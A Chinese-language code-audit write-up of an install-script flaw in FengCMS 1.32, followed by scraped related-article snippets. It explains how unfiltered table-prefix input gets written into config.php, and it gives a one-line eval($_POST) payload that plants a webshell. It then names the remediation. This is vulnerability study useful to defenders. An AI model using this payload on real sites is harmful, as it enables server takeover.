[代码审计] fengcms1.32从详细漏洞分析到漏洞利用

2023-11-02

## 前言

这是我在此发表的第一篇代码审计的文章,仅供学习参考!首发于哈拉少安全小队微信公众号

 

一、Cms初识:

FengCms——由地方网络工作室基于PHP+MYSQL开发。是一款开源的网站内容管理系统。系统支持自由订制模型,你完全可以用FengCms打造一个你想要的任意展示模型。模版和程序分离、自由标签系统,让FengCms灵活无比。拥有FengCms,你可以完成国内95%的网站制作需要!

 

-目录结构:

 

 

 

二、漏洞描述:

在fengcms的安装程序中,由于安装检测判断代码无效和写入文件时代码过滤不严,添加数据到配置文件的时候,可以插入任意恶意payload,达到实现闭合原本的代码,使插入的webshell存留在了配置文件中,从而getshell。

 

 

三、漏洞分析过程:

--首先分析一下/install/index.php

在install目录下的index.php文件中的第25行代码,可以看到这里进行了是否安装过的检测,判断了install目录是否存在,然后输出前端js代码对用户进行提示:

 

但是注意:判断完之后,程序是没有立刻停止执行的,导致后续的安装步骤代码仍然都会继续往下执行,这也是导致漏洞产生危害的原因之一:

 

安装过程就是通过判断GET方式传入的step参数,控制安装流程:

 

 

剩下的步骤代码类似,具体就是以下文件:

 

 

--接下来分析一下/install/install.php文件:

这里获取到表单中POST传过来的数据,进行数据库连接:

 

表单内容:

 

可以看到这里以写入的方式打开了$files,然后将$config作为内容直接写入进去,但是可以看到这里是没有进行任何过滤的,同时这个$config的内容是我们可控的(看后面的代码截图):

 

$file在/install/install.php的第8行定义了,是配置文件的路径:

 

$config是在/install/data.php中定义,用file_get_contents读取了配置文件的内容:

 

$config_file是在/install/index.php中定义了,读取原配置文件,然后对原文件进行了内容替换,并且替换的内容就是通过GET方式传过来的,并且是我们可控的(在step3.php中获取我们了输入的内容,然后直接进行了替换),没有进行任何的过滤:

 

step3.php:

 

看一下/config.php中的配置内容:

 

所以我们只需要在表前缀处插入恶意payload即可,最终效果如下:圈住的地方就是我们传入的恶意payload,')闭合了前面的代码,//注释后面的代码,成功将payload留在了config.php中:

 

 

执行流程:

入口文件/index.php,这里包含了/system/app.php文件:

 

跟进/system/app.php文件:在这里会包含引入配置文件,所以当我们访问index.php入口文件的时候,会执行config.php文件中插入的恶意payload,从而getshell:

 

 

 

四、漏洞利用:

1、访问安装页面

 

按照步骤执行:

 

step3时,在表前缀处插入恶意payload:

f_');eval($_POST['xx']);//

 

安装完成:

 

再次查看config.php,已经成功被插入webshell:

 

直接访问入口文件index.php,可以成功执行:

 

蚁剑连接:

 

虚拟终端执行命令:

 

根据前面代码分析到,虽然已经安装过了,但是再次访问安装程序,还是能正常执行的:


 

 

五、漏洞修复:

1、在判断已经安装过之后,立即让程序停止执行,添加exit()代码即可:

 

2、添加在写入文件前添加过滤机制

 

有需要源码的关注公众号:哈拉少安全小队,后台留言:fengcms1.32,即可获取!

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

[代码审计] fengcms1.32从详细漏洞分析到漏洞利用 的相关文章

  • FindBugs-IDEA插件的使用

    一 前言 FindBugs是一款Java静态代码分析工具 与其他静态分析工具 如Checkstyle和PMD 不同 FindBugs不注重样式或者格式 它专注于寻找真正的缺陷或者潜在的性能问题 它可以帮助java工程师提高代码质量以及排除隐
  • 代码审计总结

    目录 概述 一 代码审计 1 1什么是代码审计 1 2为什么要执行代码审核 1 3代码审计的好处 二 代码审计流程 2 1代码检查方法 2 2代码检查项目 2 3编码规范 2 4代码检查规范 2 5缺陷检查表 2 6代码审计复查 2 7代码
  • Typcho反序列化漏洞分析

    Typcho反序列化漏洞分析 文章首发 https xz aliyun com t 9428 影响范围 2017年10月24日之前的所有版本 环境搭建 下载地址 http typecho org 这里主要是说下 在intall之前 需要我们
  • 【网络运维与安全岗位】月薪2.5w,您还不知道的前景!

    一 为什么学网络安全 标重点 1 市场巨大 每年各安全厂商收入高达400亿左右 随着5G的发展 万物互联时代 市场将进一步扩大 2 薪资高 网安人才的匮乏 用人开出招聘薪资往往高于求职者的预期 3 靠能力说话 在网络安全专业 专业技能竞争力
  • easycms v5.5 分析

    前言 这个awd打的悲 后台默认用户名密码为admin admin 但是几乎所有人都改了 而且一进去看到这个cms就有点懵逼 都不知道这个cms是干嘛的 没用过相似的cms 虽然网上找出了很多相关的漏洞 但是不知道为什么一个都没用上 或者说
  • log4j官方漏洞修复史(更新至2.17.1/CVE-2021-44832)

    0x00 前言 自从log4j2 14 1版本爆出漏洞后 官方截止目前为止 共发布了3个稳定版本 分别是15 0 16 0 17 0 本篇文章就分析一下每个版本都做了哪些事情 以此来评估每个版本升级的必要性 分割线 在28号晚上 log4j
  • jpress代码审计分享

    声明 出品 先知社区 ID 1871162774168111 以下内容 来自先知社区的1871162774168111作者原创 由于传播 利用此文所提供的信息而造成的任何直接或间接的后果和损失 均由使用者本人负责 长白山攻防实验室以及文章作
  • PHP代码审计 -- 文件上传

    工具 环境 工具 Seay源代码审计系统 文本编辑器一个 环境 phpstudy 网站源码是 zbzcms 步骤 1 将zbzcms网站源码放入phpstudy 根据网站安装引导完成网站搭建 2 打开Seay 新建项目 gt 选择网站源码
  • [代码审计] fengcms1.32从详细漏洞分析到漏洞利用

    前言 这是我在此发表的第一篇代码审计的文章 仅供学习参考 首发于哈拉少安全小队微信公众号 一 Cms初识 FengCms 由地方网络工作室基于PHP MYSQL开发 是一款开源的网站内容管理系统 系统支持自由订制模型 你完全可以用FengC
  • Apereo CAS反序列化漏洞中数据加解密研究

    Apereo CAS反序列化漏洞中数据加解密研究 0x01 简介 0x02 网上获取资料 0x03 初步运行失败 1 分析 2 Tips 0x04 分析原因 1 自己写解密算法 直接使用cas工程的相关jar包 java文件 调用解密函数
  • 再战WebGoat之代码审计

    声明 好好学习 天天向上 回想首次接触webgoat已是两年前 当时可能连漏洞原理都不是很明白就开始上手靶场了 也是搜了很多文章 还用的word的方式写的草稿 惭愧惭愧 webgoat一直是我心中高质量的靶场 其实当时发布文章时 我就一直在
  • 网络安全实验室6.解密关

    6 解密关 1 以管理员身份登录系统 url http lab1 xseclab com password1 dc178aa12e73cfc184676a4100e07dac index php 进入网站点击忘记密码的链接 进入到重置密码的
  • 2021年江苏省职业院校技能大赛中职 “网络信息安全”赛项(超详细)

    2021年中职组 网络空间安全 赛项 一 江苏省竞赛任务书 二 任务书解析 三 不懂的可以私信博主 一 江苏省竞赛任务书 一 竞赛时间 8 00 11 00 共计3小时 二 竞赛阶段 竞赛阶段 任务阶段 竞赛任务 竞赛时间 分值 第 阶段
  • 【代码审计】模板注入

    0x00 介绍 这里主要学习下 FreeMarker 模板注入 FreeMarker 是一款模板引擎 FreeMarker 模板文件与 HTML 一样都是静态页面 当用户访问页面时 FreeMarker 引擎会进行解析并动态替换模板中的内容
  • Python代码扫描:企业级代码代码安全漏洞扫描Bandit

    目录 什么是Bandit 特点 安装 配置 配置Bandit Pycharm配置外置工具 使用实践 命令行参数 检查单个文件 检查整个目录 PyCharm中对单个文件或者项目目录的扫描 一个使用案例 应用场景 总结 参考资料 注意 后续技术
  • CTF命令执行及绕过技巧

    前言 今天是代码审计部分的一个技巧补充 前些阵子做了sql注入回顾篇系列 今天开启php代码审计系列 今天内容主要是CTF中命令注入及绕过的一些技巧 以及构成RCE的一些情景 文章目录 前言 正文 代码执行 代码执行的几种方式 命令执行 常
  • PHP代码审计示例(一)——淡然点图标系统SQL注入漏洞审计

    今天继续给大家介绍渗透测试相关知识 本文主要内容是PHP代码审计示例 淡然点图标系统SQL注入漏洞审计 免责声明 本文所介绍的内容仅做学习交流使用 严禁利用文中技术进行非法行为 否则造成一切严重后果自负 再次强调 严禁对未授权设备进行渗透测
  • 【PHP代码审计】ThinkPHP代码审计

    目录 0x001 开发方式 0x002 审计流程 1 启用调试开关 2 版本查看 3 定位函数 4 测试是否存在漏洞 5 版本自身漏洞 0x001 开发方式 在审计源码时根据不同的开发方式对应不同的审计方法 自写 有的站点虽然使用了thin
  • PHP入门-PHP OOP类的继承(构造函数;public、protected和private;self、parent、final )

    0x00 写在前面 从零学习php 最终目的实现代码审计入门 软件采用sublime text 环境使用phpstudy搭建 需要有简单的html基础和php基础 跟随流沙前辈视频学习记录 OOP编程即面对对象编程 本篇学习面向对象中的继承
  • 使用Seay进行代码安全审计

    Seay介绍 Seay介绍 Seay其实是一款用 C语言所开发的一款对 PHP相关代码的安全审计系统 它是运 行在 Windows操作系统上的 这种软件能够发现 SQL 注入漏洞 代码执行漏洞 命令执行错误 文件内容包括 文件的上传 绕过防

随机推荐

  • 解决跨域的配置

    这里写自定义目录标题 解决跨域问题 解决跨域问题 在网关中添加跨域的配置文件 Configuration public class MymallCorsConfiguration Bean public CorsWebFilter cors
  • 开源项目选型考虑的四个方面

    http www trinea cn other open source choice
  • 基于多视角学习和个性化注意力机制的新闻推荐

    NPA Neural News Recommendation with Personalized Attention 2019 7 链接 https arxiv org abs 1907 05559 发表在 IJCAI 2019和 KDD
  • 常见的排序算法总结

    排序简介 简介 排序算法 英语 Sorting algorithm 是一种将一组特定的数据按某种顺序进行排列的算法 排序算法多种多样 性质也大多不同 性质 稳定性 稳定性是指相等的元素经过排序之后相对顺序是否发生了改变 拥有稳定性这一特性的
  • ArrayList 集合 嵌套HashMap集合

    开发工具与关键技术 IDEA 撰写时间 2022 5 27 ArrayList 集合 嵌套HashMap集合 首先创建一个ArrayList集合 然后在ArrayList的 lt gt 里添加HaspMap集合 HaspMap集合的里键值对
  • 环境配置篇

    旧机子经常卡 代码打不动 换了一台 温习一遍配置 开一篇记录一下 1 jdk 安装jdk 还是别装最新的 经不起因为最新的原因导致各种bug 下载网址 点击打开链接 配置JAVA HOME 找到对应文件 以后要更新jdk修改这个文件就行 配
  • Yii Framework 开发教程(35) Zii组件-Button示例

    CJuiButton 显示按钮 CJuiButton 既可以做为Submit 提交 按钮 也可以做为普通按钮 按钮基本用法如下 php view plain copy print
  • Linux:基础开发工具之Makefile和缓冲区的基本概念

    文章目录 动静态库 自动化构建代码 缓冲区 原理实现 具体实现 动静态库 首先要知道什么是链接 C程序中 并没有定义printf的函数实现 且在预编译中包含的stdio h中也只有该函数的声明 而没有定义函数的实现 系统把这些函数实现都被做
  • new date()标准时间转yyyy-mm-dd hh:mm 24小时制

    知识点 es6的Object方法 正则表达式 循环对象等 直接贴代码
  • 解决Linux关机重启连不上网的异常

    NetworkManager 解决开机连不上网的问题 1 Systemctl status NetworkManager 查看NetworkManager的状态 2 如果NetworkManager的状态为运行状态 关闭NetworkMan
  • 区块链学习心得1:三个关于区块链数据安全性的重要常识性知识

    前往老猿Python博文目录 前面介绍了区块链的基础知识 包括什么是区块链 区块链类型 共识算法 Merkle树 默克尔树 和Merkle根 区块链的分叉 出块 最长链原则 主链等概念 在对这些概念理解较为彻底的基础上 老猿总结了几个常识性
  • 招聘Bev感知实习生

    工作职责 1 负责Bev感知算法调研和运用 2 负责模型量化部署 职位要求 1 熟悉Bevformer BevFusion等深度学习网络结构 2 熟悉C Python程序开发 3 具有良好的沟通能力 良好的团队合作精神 简历投递邮箱 lei
  • JavaSE进阶(二)—— 面向对象进阶(包、权限修饰符、抽象类、多态)

    目录 一 包 1 什么是包 2 导包 二 权限修饰符 1 什么是权限修饰符 2 权限修饰符的分类和具体作用范围 3 学完权限修饰符需要具备如下能力 三 final 1 final的作用 2 final修饰变量的注意 四 常量 1 常量概述和
  • C语言零基础入门习题(四)分苹果

    前言 C语言是大多数小白走上程序员道路的第一步 在了解基础语法后 你就可以来尝试解决以下的题目 放心 本系列的文章都对新手非常友好 Tips 题目是英文的 但我相信你肯定能看懂 一 Mr Wang wants to give some ap
  • C++编程命名规范

    C 编程命名规范 PS 根据多年工作经验和其它命名规范整理而成 个人感觉比较规范的标准 现应用于我的开发团队 一 命名通用规则 文件名 函数名 变量名命名应具有描述性 不要过度的缩写 类型变量是名词 函数名是动词或动词 名词 函数名必须是指
  • 编译原理笔记

    目录 序章 编译原理 编译器 程序设计语言 第一章 概述 机器语言 第一代语言 特点 汇编语言 高级程序设计语言 鼻祖 时期 特点 翻译程序 汇编语言 解释语言 编译程序 编译过程 词法分析 语法分析 语义分析 中间代码生成 之前三步都是编
  • MongoDB数据库的基本操作

    一 使用async await对CRUD进行封装 1 定义dao层 数据库访问层 专门用于访问数据库 不和接口直接联系 2 定义service层 服务层 通过调用dao层的方法来获取数据 将结果通过res对象响应给客户端 3 路由接口 功能
  • odoo14本地开发部署

    odoo本地开发部署 1 使用git在本地安装odoo 1 1地址 https github com odoo odoo 1 2 复制https里面链接 git clone http github com odoo odoo git 1 2
  • maven打包,依赖也打进jar包

    一 如果没有依赖第三方包 可以用maven jar plugin插件 只是修改META INFO下的MANIFEST MF信息 指定运行jar包的main入口
  • [代码审计] fengcms1.32从详细漏洞分析到漏洞利用

    前言 这是我在此发表的第一篇代码审计的文章 仅供学习参考 首发于哈拉少安全小队微信公众号 一 Cms初识 FengCms 由地方网络工作室基于PHP MYSQL开发 是一款开源的网站内容管理系统 系统支持自由订制模型 你完全可以用FengC